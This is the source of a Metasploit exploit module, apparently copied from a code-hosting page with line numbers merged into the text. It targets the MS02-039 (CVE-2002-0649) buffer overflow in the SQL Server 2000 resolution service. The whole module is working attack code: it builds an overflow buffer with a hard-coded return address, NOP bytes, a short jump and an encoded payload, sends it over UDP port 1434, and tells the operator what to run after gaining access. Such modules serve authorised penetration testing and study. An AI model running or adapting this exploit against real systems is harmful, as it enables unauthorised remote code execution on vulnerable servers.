Path: blob/master/modules/exploits/windows/mssql/ms02_039_slammer.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::MSSQL910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS02-039 Microsoft SQL Server Resolution Overflow',15'Description' => %q{16This is an exploit for the SQL Server 2000 resolution17service buffer overflow. This overflow is triggered by18sending a udp packet to port 1434 which starts with 0x04 and19is followed by long string terminating with a colon and a20number. This module should work against any vulnerable SQL21Server 2000 or MSDE install (pre-SP3).22},23'Author' => [ 'hdm' ],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2002-0649'],27[ 'OSVDB', '4578'],28[ 'BID', '5310'],29[ 'MSB', 'MS02-039'],3031],32'Privileged' => true,33'Payload' => {34'Space' => 512,35'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c",36'StackAdjustment' => -3500,37},38'Targets' => [39[40'MSSQL 2000 / MSDE <= SP2',41{42'Platform' => 'win',43'Ret' => 0x42b48774,44},45],46],47'Platform' => 'win',48'DisclosureDate' => '2002-07-24',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options(59[60Opt::RPORT(1434)61]62)63end6465def check66info = mssql_ping67if (info['ServerName'])68print_status("SQL Server Information:")69info.each_pair { |k, v|70print_status(" #{k + (" " * (15 - k.length))} = #{v}")71}72return Exploit::CheckCode::Detected73end74return Exploit::CheckCode::Safe75end7677def exploit78connect_udp79print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret))80print_status("Execute 'net start sqlserveragent' once access is obtained");8182# \x68:888 => push dword 0x3838383a83buf = "\x04" + rand_text_english(800, payload_badchars) + "\x68:888"8485# Return to the stack pointer86buf[97, 4] = [target.ret].pack('V')8788# Which lands right here89buf[101, 6] = make_nops(6)9091# Jumps 8 bytes ahead92buf[107, 2] = "\xeb\x08"9394# Write to thread storage space to avoid a crash95buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')9697# And finally into the payload98buf[117, payload.encoded.length] = payload.encoded99100udp_sock.put(buf)101102disconnect_udp103handler104end105end106107108